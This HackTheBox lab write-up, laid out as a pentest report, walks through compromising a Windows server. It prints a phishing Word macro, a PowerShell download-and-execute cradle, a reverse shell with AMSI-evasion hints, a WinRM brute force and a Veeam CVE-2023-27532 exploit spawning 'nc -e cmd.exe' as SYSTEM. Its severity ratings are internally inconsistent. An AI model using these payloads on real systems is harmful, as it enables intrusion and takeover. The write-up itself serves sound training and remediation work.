PENTEST REPORT

JobTwo – HackTheBox Writeup

CLIENT	REPORT AUTHOR	AUTHOR ROLE	PERIOD
HackTheBox	Philippe Bécué	Pen-tester	22/02/2026 - 22/02/2026

This report is published with the client's consent, once vulnerabilities have been remediated.

Table of Contents

01 **Warning — Simulation / CTF**
Legal information, privacy, and terms of use for this document

02 **Demo Video**
Video demonstration of the exploitation or mission progress

03 **Vulnerability Table**
Severity classification grid and CVSS scores used in this report

04 **Participants List**
Presentation of the team members who participated in the penetration testing mission

05 **Scope**
Definition of the audit scope — systems and applications included and excluded from the test

06 **Information Gathering**
Collection of public information on the target: WHOIS, DNS, SSL certificates, exposed technologies

07 **OSINT**
Open-source intelligence — social media, data breaches, digital footprint

08 **Enumeration**
Discovery of services, open ports, software versions, and identified entry points

09 **Vulnerability Analysis**
Identification, qualification, and classification of discovered security vulnerabilities

10 **Exploitation**
Technical demonstration of the exploitation of confirmed vulnerabilities

11 **Post-Exploitation**
Post-compromise actions — privilege escalation, persistence, and lateral movement

12 **Vulnerabilities Summary Table**
Consolidated summary of all vulnerabilities with their CVSS score and criticality

13 **Conclusion**
Mission summary, overall security level assessment, and risk evaluation

14 **Solution**
Technical and organizational recommendations to remediate identified vulnerabilities

01

Warning — Simulation / CTF

This document is the report of a mission carried out in a simulated environment, for exclusively educational and training purposes. The targeted infrastructure is a virtual machine or a Capture The Flag (CTF) type environment, intentionally vulnerable and designed for learning offensive and defensive cybersecurity techniques. No real production systems, personal data, or third-party infrastructure were involved during this mission.

The techniques, tools, and methods described in this report are presented for educational purposes. Reproducing them on computer systems without explicit authorization from the owner is illegal and subject to criminal prosecution under applicable cybercrime legislation. The author disclaims any responsibility for the misuse of the information contained in this document for malicious or unauthorized purposes.

This report is part of a process to improve skills and document expertise in offensive security. It may be shared for demonstration or professional reference purposes in compliance with the terms of use of the platform or the organizer of the challenge concerned. Any partial or total reproduction for commercial purposes is prohibited without prior authorization from the author.

02

Demo Video

A video demonstration of this mission is available online. The video illustrates the exploitation process and the techniques used.

Video

VIDEO LINK

https://www.youtube.com/watch?v=80obupHHwuE

03

Vulnerability Table

The following table defines the severity levels and corresponding CVSS score ranges used throughout the document to assess vulnerability and risk impact.

SEVERITY	CVSS V3 SCORE RANGE	DEFINITION
CRITICAL	9.0 – 10.0	Exploitation is simple and generally leads to total system compromise. It is advised to establish an action plan and apply the fix immediately.
HIGH	7.0 – 8.9	Exploitation is more difficult but can lead to privilege escalation and potentially data loss or service interruption. It is advised to establish an action plan and apply the fix as soon as possible.
MEDIUM	4.0 – 6.9	Vulnerabilities exist but are not directly exploitable or require additional steps such as social engineering. It is advised to establish an action plan and apply the fix after resolving higher-priority issues.
LOW	0.1 – 3.9	Vulnerabilities are not exploitable but would reduce the organization's attack surface. It is advised to establish an action plan and apply the fix during the next maintenance window.
INFORMATIONAL	N/A	No vulnerabilities exist. Additional information is provided regarding observations during testing, strong controls, and supplementary documentation.

04

Participants List

NAME	ROLE	EMAIL	ENVIRONMENT
Philippe Bécué	Pen-tester	contact@white-hat.fr	Kali Linux

05

Scope

Test Scope

NAME	DETAILS
10.129.7.25	HackTheBox Machine – JobTwo (Windows, Hard)

Scope Exclusions

No exclusions defined. Click "Add Exclusion" to get started.

06

Information Gathering

The `nmap` scan is launched in aggressive mode against the target. Disabling host discovery (`-Pn`) is necessary because ICMP pings are filtered in this environment:

```
nmap -v 10.129.7.25 -A -T4 -Pn
```

The result reveals a **Windows Server 2022** machine with a particularly extensive attack surface. Here are the open ports identified:

```
PORT      STATE SERVICE              VERSION
22/tcp    open  ssh                  OpenSSH for_Windows_9.5 (protocol 2.0)
25/tcp    open  smtp                 hMailServer smtpd
| smtp-commands: JOB2, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp    open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
111/tcp   open  rpcbind
135/tcp   open  msrpc                Microsoft Windows RPC
139/tcp   open  netbios-ssn          Microsoft Windows netbios-ssn
443/tcp   open  ssl/https?
| ssl-cert: Subject: commonName=www.job2.vl
| Subject Alternative Name: DNS:job2.vl, DNS:www.job2.vl
| Issuer: commonName=www.job2.vl
| Public Key bits: 2048
| Not valid before: 2023-05-09T13:31:40
445/tcp   open  microsoft-ds?
1063/tcp  open  rpcbind
2049/tcp  open  rpcbind
3389/tcp  open  ms-wbt-server        Microsoft Terminal Services
| ssl-cert: Subject: commonName=JOB2
5985/tcp  open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
10001/tcp open  msexchange-logcopier Microsoft Exchange 2010 log copier
10002/tcp open  msexchange-logcopier Microsoft Exchange 2010 log copier
10003/tcp open  storagecraft-image   StorageCraft Image Manager
```

```
Running: Microsoft Windows 2022 (86%)
Service Info: Host: JOB2; OS: Windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
```

Analysis of the results highlights several points of interest:

- **Port 25 (SMTP)**: The banner `hMailServer smtpd` identifies a classic Windows mail server. The hostname `JOB2` is confirmed.
- **Ports 80/443 (HTTP/HTTPS)**: A web server is accessible. The SSL certificate for port 443 reveals the domains `job2.vl` and `www.job2.vl` — valuable information for later.
- **Port 5985 (WinRM)**: Windows Remote Management is active, a potential vector for remote access if valid credentials are obtained.
- **Port 3389 (RDP)**: Remote Desktop is also available.
- **Ports 10001–10003**: These services are characteristic of a **Veeam Backup & Replication** installation, enterprise backup software often overlooked from a security perspective.
- **SMB signing not enforced**: SMB signing is enabled but not mandatory, which opens the door to NTLM relay attacks if credentials are captured.

We immediately add the DNS entries to `/etc/hosts` to resolve the domain names identified in the SSL certificate:

```
echo '10.129.7.25  job2.vl www.job2.vl' | sudo tee -a /etc/hosts
```

07

OSINT

After identifying Veeam Backup & Replication among the active services (ports 10001–10003), a targeted search for known vulnerabilities is performed. We quickly come across **CVE-2023-27532**, a remote code execution vulnerability documented by Rapid7 in March 2023.

According to available analyses, this flaw affects:

- **Veeam Backup & Replication version 12** prior to build *12.0.0.1420 P20230223*
- **Veeam Backup & Replication version 11** prior to build *11.0.1.1261 P20230227*

The vulnerability lies in the **Veeam Mount Service** — a component that listens locally on a dedicated RPC port. A proof-of-concept is publicly available on GitHub (CVE-2023-27532-RCE-Only), making it a prime target if the version installed on the machine is vulnerable. We'll keep this lead in mind for the post-exploitation phase.

08

Enumeration

Web Server Exploration

By browsing to `http://www.job2.vl`, we access a homepage presenting a fictional company. The site announces a job opening and invites candidates to send their CVs in the form of a **Microsoft Word document** to **hr@job2.vl**.

This is the only interaction point available on the entire web surface: no forms, no administration panel, no exposed directories. The initial attack vector is unequivocal: a **malicious attachment phishing attack**. The hMailServer SMTP server on port 25 is the delivery channel.

Verifying Veeam Version (Post-Initial Access)

Once initial access is gained on the machine, we verify the exact version of Veeam installed by querying the metadata of a main DLL:

```
(Get-Item 'C:\Program Files\Veeam\Backup and
Replication\Backup\Veeam.Backup.Core.dll').VersionInfo.FileVersion
```

The command returns **10.0.1.4854** — a build well before the patches released for CVE-2023-27532, confirming that the target is exploitable.

09

Vulnerability Analysis

CVE-2023-27532 – Veeam Backup & Replication: RCE via Deserialization

CVE-2023-27532 is a remote code execution (**RCE**) vulnerability affecting the *Veeam Mount Service* component of Veeam Backup & Replication. To understand this flaw, we first need to grasp the role of this service.

The Veeam Mount Service is a Windows daemon that listens on a local RPC port. It is responsible for mounting backup images to allow them to be read. This service runs with **SYSTEM** privileges (via Veeam's `sqlserver.exe` process), making it a prime target for privilege escalation.

The vulnerability itself lies in an **insecure deserialization** of .NET objects passed to this service. In practice: when a malformed request is sent to the service, it attempts to deserialize the data without sufficient validation. This allows a local attacker to make it execute arbitrary commands — including launching a reverse shell — within the SYSTEM context.

Prerequisite: having local access to the machine (even with low privileges), which is the case once Ferdinand is compromised. CVSS Score: **7.5 (High)**.

10

Exploitation

Creating the Malicious Word Document

The goal is to create a `.doc` file containing a VBA macro that executes **automatically upon opening** the document.

In Microsoft Word, navigate to **View → Macros**, create a new macro, and insert the following code:

```
Sub AutoOpen()
    LancerPayload
End Sub

Sub Document_Open()
    LancerPayload
End Sub

Sub LancerPayload()
    Dim Commande As String
    Commande = Commande + "powershell.exe -nop -w hidden -e "
    Commande = Commande + "<BASE64_PAYLOAD>"
    CreateObject("Wscript.Shell").Run Commande
End Sub
```

Two triggers are used (`AutoOpen` and `Document_Open`) to maximize compatibility depending on the victim's Word version. PowerShell is launched in hidden window mode (`-w hidden`) with a Base64 encoded payload, making the command less detectable by basic argument analysis.

Once the macro is saved, the document is saved in `.doc` format (older format, macro-compatible). The file is then transferred to the Kali machine to be used as an attachment.

Generating the Two-Stage PowerShell Payload

The Base64 encoded payload corresponds to a PowerShell command that **downloads and executes a second script** from our HTTP server. This two-stage operation is intentional: the macro only contains innocuous

download code, while the actual reverse shell is hosted on our server and never written to disk.

First, we generate the Base64 encoded download command in UTF-16LE (the format PowerShell expects for the `-e` option):

```
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://<VOTRE_IP>/charge.txt")' | iconv -t utf-16le | base64 -w 0
```

The generated Base64 string is what replaces `<BASE64_PAYLOAD>` in the macro. The `charge.txt` file hosted on our HTTP server contains the PowerShell reverse shell. Since antivirus is active on the target machine, the script must be adapted to bypass AMSI protections. The basic PowerShell reverse shell (to be adapted and obfuscated) looks like this:

```
$c = New-Object System.Net.Sockets.TCPClient('<VOTRE_IP>', 4444)
$s = $c.GetStream()
[byte[]]$b = 0..65535|%{0}
while(($i = $s.Read($b, 0, $b.Length)) -ne 0) {
    $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b, 0, $i)
    $r = (iex $d 2>&1 | Out-String)
    $r2 = $r + 'PS ' + (pwd).Path + '> '
    $rb = ([text.encoding]::ASCII).GetBytes($r2)
    $s.Write($rb, 0, $rb.Length)
    $s.Flush()
}
$c.Close()
```

This script establishes an outgoing TCP connection to our attack machine, then loops by reading commands sent by the listener and returning their results. Remember to encode this script with obfuscation techniques (string substitution, splitting, etc.) to bypass AMSI.

Attack Infrastructure and Document Sending

Three terminals are opened in parallel to orchestrate the attack:

```
# Terminal 1 - HTTP Server to distribute payload files
python3 -m http.server 80
```

```
# Terminal 2 - Netcat Listener to intercept the reverse shell
nc -lvnp 4444

# Terminal 3 - Sending the email with the malicious attachment
sendemail -s 10.129.7.25:25 \
  -f "candidat <candidat@emploi-pro.co>" \
  -t hr@job2.vl \
  -o tls=no \
  -m "Bonjour, veuillez trouver mon CV en pièce jointe. Cordialement." \
  -a candidature.doc

Email was sent successfully!
```

The HTTP server will distribute `charge.txt` when the target executes the macro. The listener waits for the reverse shell's incoming connection. The email is sent without TLS because hMailServer's port 25 accepts unencrypted connections.

After a few minutes (time for the attachment to be processed), the file is opened on the target machine, the macro executes, and our listener receives the connection:

```
listening on [any] 4444 ...
connect to [<VOTRE_IP>] from (UNKNOWN) [10.129.7.25] 49832
PS C:\Users\Administrator\Desktop>
```

Initial access to the Windows machine is established. The PowerShell session runs in the context of the user who opened the document.

11

Post-Exploitation

WinRM Brute-Force – Obtaining the User Flag

Standard enumeration via the reverse shell (directories, registry, services, configuration files) yields nothing immediately exploitable. We change approach: the WinRM service (port 5985) offers stable remote access, and if a system user uses a weak password, that can be enough.

We target the user **Ferdinand** — whose existence was determined during enumeration — with a list of common passwords using `netexec`:

```
nxc winrm 10.129.7.25 -u 'Ferdinand' -p /usr/share/wordlists/rockyou.txt
WINRM  10.129.7.25  5985  JOB2  [*] Windows Server 2022 Build 20348 (name:JOB2) (domain:JOB2)
WINRM  10.129.7.25  5985  JOB2  [-] JOB2\Ferdinand:123456
WINRM  10.129.7.25  5985  JOB2  [-] JOB2\Ferdinand:12345
WINRM  10.129.7.25  5985  JOB2  [-] JOB2\Ferdinand:123456789
WINRM  10.129.7.25  5985  JOB2  [-] JOB2\Ferdinand:password
WINRM  10.129.7.25  5985  JOB2  [-] JOB2\Ferdinand:iloveyou
WINRM  10.129.7.25  5985  JOB2  [-] JOB2\Ferdinand:princess
...
WINRM  10.129.7.25  5985  JOB2  [+] JOB2\Ferdinand:Franzi123! (Pwn3d!)
```

The password **Franzi123!** is found after patient brute-forcing. It's a reminder that even when no obvious exploit is available, a lax password policy remains a devastatingly effective attack vector. We then connect via Evil-WinRM:

```
evil-winrm -i 10.129.7.25 -u Ferdinand -p 'Franzi123!'
```

We retrieve the user flag:

```
*Evil-WinRM* PS C:\Users\Ferdinand\Desktop> type user.txt
<hash>
```

Privilege Escalation – CVE-2023-27532 (Veeam)

Once connected as Ferdinand, we list the running processes. Several Veeam Backup processes are immediately visible — confirming that the lead identified in the OSINT phase is relevant. We verify the exact version of the installed software:

```
*Evil-WinRM* PS C:\Users\Ferdinand\Documents> (Get-Item 'C:\Program Files\Veeam\Backup and
Replication\Backup\Veeam.Backup.Core.dll').VersionInfo.FileVersion
10.0.1.4854
```

Version **10.0.1.4854** is well before the patches. We prepare for exploitation by downloading the public PoC from GitHub, then transfer all required binaries and DLLs to the target machine using Evil-WinRM's built-in upload function:

```
*Evil-WinRM* PS C:\Users\Ferdinand\Documents> upload /opt/CVE-2023-27532/pwn_veeam.exe
Info: Uploading pwn_veeam.exe to C:\Users\Ferdinand\Documents\pwn_veeam.exe
Data: 9556 bytes of 9556 bytes copied
Info: Upload successful!

*Evil-WinRM* PS C:\Users\Ferdinand\Documents> upload /opt/CVE-2023-27532/Veeam.Backup.Common.dll
Info: Upload successful!

*Evil-WinRM* PS C:\Users\Ferdinand\Documents> upload /opt/CVE-2023-27532/Veeam.Backup.Model.dll
Info: Upload successful!

*Evil-WinRM* PS C:\Users\Ferdinand\Documents> upload /opt/CVE-2023-
27532/Veeam.Backup.Interaction.MountService.dll
Info: Upload successful!

*Evil-WinRM* PS C:\Users\Ferdinand\Documents> upload /opt/nc64.exe
Info: Upload successful!
```

The exploit needs the corresponding Veeam DLLs to load the correct .NET types during deserialization. These DLLs are copied from the local Veeam installation or downloaded from the PoC's GitHub repository.

Exploit Execution and SYSTEM Shell Acquisition

We start a Netcat listener on our attack machine to intercept the SYSTEM shell:

```
nc -lvnp 9090
```

Then, we launch the exploit targeting the Veeam Mount Service listening on the local loopback (`127.0.0.1`). We pass the command to execute as a parameter — in this case, a call to `nc64.exe` to establish a reverse shell:

```
*Evil-WinRM* PS C:\Users\Ferdinand\Documents> .\pwn_veeam.exe --target 127.0.0.1 --cmd
"C:\Users\Ferdinand\Documents\nc64.exe <VOTRE_IP> 9090 -e cmd.exe"
```

A few seconds later, our listener receives an incoming connection. We verify the identity of the execution context:

```
C:\Windows\system32> whoami
nt authority\system
```

Exploitation is a complete success. The Veeam Mount Service has successfully executed the command as **SYSTEM**, the most privileged user in Windows. We retrieve the root flag:

```
C:\Users\Administrator\Desktop> type root.txt
<hash>
```

12

Vulnerabilities Summary Table

Malicious VBA macro in a Word document (phishing) — HIGH

APPLICATION	PORT	TYPE
Microsoft Word / hMailServer SMTP	25	RCE

MAIN IMPACT

Automatic execution of a PowerShell reverse shell upon document opening by the victim

Weak password – WinRM brute-force — MEDIUM

APPLICATION	PORT	TYPE
WinRM (Evil-WinRM / netexec)	5985	Privilege Escalation

MAIN IMPACT

Remote access to the Ferdinand account via WinRM service brute-force

CVE-2023-27532 – Veeam Backup & Replication local RCE — CRITICAL

APPLICATION	PORT	TYPE
Veeam Backup & Replication 10.0.1.4854	10001	RCE

MAIN IMPACT

Arbitrary command execution under the SYSTEM context via Veeam Mount Service

13

Conclusion

The JobTwo machine illustrates a realistic and well-constructed attack chain on a Windows enterprise environment. Each step relies on common configuration errors or security oversights in organizations:

1. **Nmap Reconnaissance**: Identification of a Windows Server 2022 exposing SMTP (hMailServer), HTTP/HTTPS, WinRM, RDP, and Veeam Backup characteristic ports (10001–10003)
2. **Web Enumeration**: The `www.job2.vl` website reveals an HR email address, the only available entry point — which directly points to a phishing vector
3. **VBA Macro Phishing**: A Word document containing an `AutoOpen` macro triggers the execution of a two-stage PowerShell reverse shell upon opening by the victim, bypassing AMSI detection through obfuscation
4. **WinRM Brute-Force**: In the absence of exploitable information via the initial shell, the user Ferdinand's account is compromised by brute-force thanks to a password found in common wordlists
5. **CVE-2023-27532 (Veeam)**: The unpatched version of Veeam Backup & Replication (10.0.1.4854) allows for local privilege escalation to SYSTEM via insecure deserialization in the Mount Service

What this machine teaches above all else: business software (email, backup) is often the neglected child of security. An hMailServer that accepts any incoming SMTP without attachment filtering, combined with a user who opens emails received, is enough to open an entry point. And an un-updated Veeam instance turns low-privilege access into total compromise.

14

Solution

1. Filter Attachments and Disable Automatic Macros

The first line of defense is on the email server side. hMailServer has configurable content filters that can block risky attachments (formats like `.doc`, `.docm`, `.xlsm`, `.exe`, etc.) before they even reach the inbox.

On the workstation side, VBA macros should be disabled or restricted to digitally signed macros via Office Group Policies (GPOs):

- Enable the policy **"Disable all macros with notification"** for standard environments
- Enable **"Disable all macros without notification"** in sensitive environments where no business macros are needed
- Enable **Protected View** for all attachments received by email

2. Strengthen Password Policy and Secure WinRM

Ferdinand's account used a trivial password found in the most common wordlists. Simple corrective measures would have made brute-forcing infeasible:

- Enforce a minimum length of **14 characters** for all accounts
- Integrate compromised password checking via Have I Been Pwned (free API)
- Enable **account lockout** after N unsuccessful authentication attempts (Account Lockout Policy in GPOs)
- Restrict WinRM access to only the IP addresses of administration workstations via the Windows firewall (`netsh advfirewall firewall`)

3. Update Veeam Backup & Replication

Version **10.0.1.4854** is affected by CVE-2023-27532 (CVSS 7.5). The fix is a simple update to a patched build:

- **Version 12**: update to build *12.0.0.1420 P20230223* or later
- **Version 11**: update to build *11.0.1.1261 P20230227* or later

Official Reference: Veeam Knowledge Base – Security Advisory CVE-2023-27532

Additionally, Veeam ports (10001–10003) should be filtered by firewall to be accessible only from designated Veeam administration servers, and never from user workstations.

4. Reduce Network Attack Surface

This machine unnecessarily exposes sensitive services on the network:

- **Port 25 (SMTP)**: If hMailServer is an internal mail server, port 25 should not be accessible from the outside. If inbound access is necessary, implement a front-end mail relay with antivirus and anti-spam filtering.
- **Port 5985 (WinRM)**: Accessible only from a dedicated management network (administration VLAN, bastion host).
- **Port 3389 (RDP)**: Same — if remote access is necessary, use a VPN or a bastion, never expose it directly to the internet.
- **Port 2049 (NFS)**: NFS on Windows is unusual and potentially dangerous; disable if unused.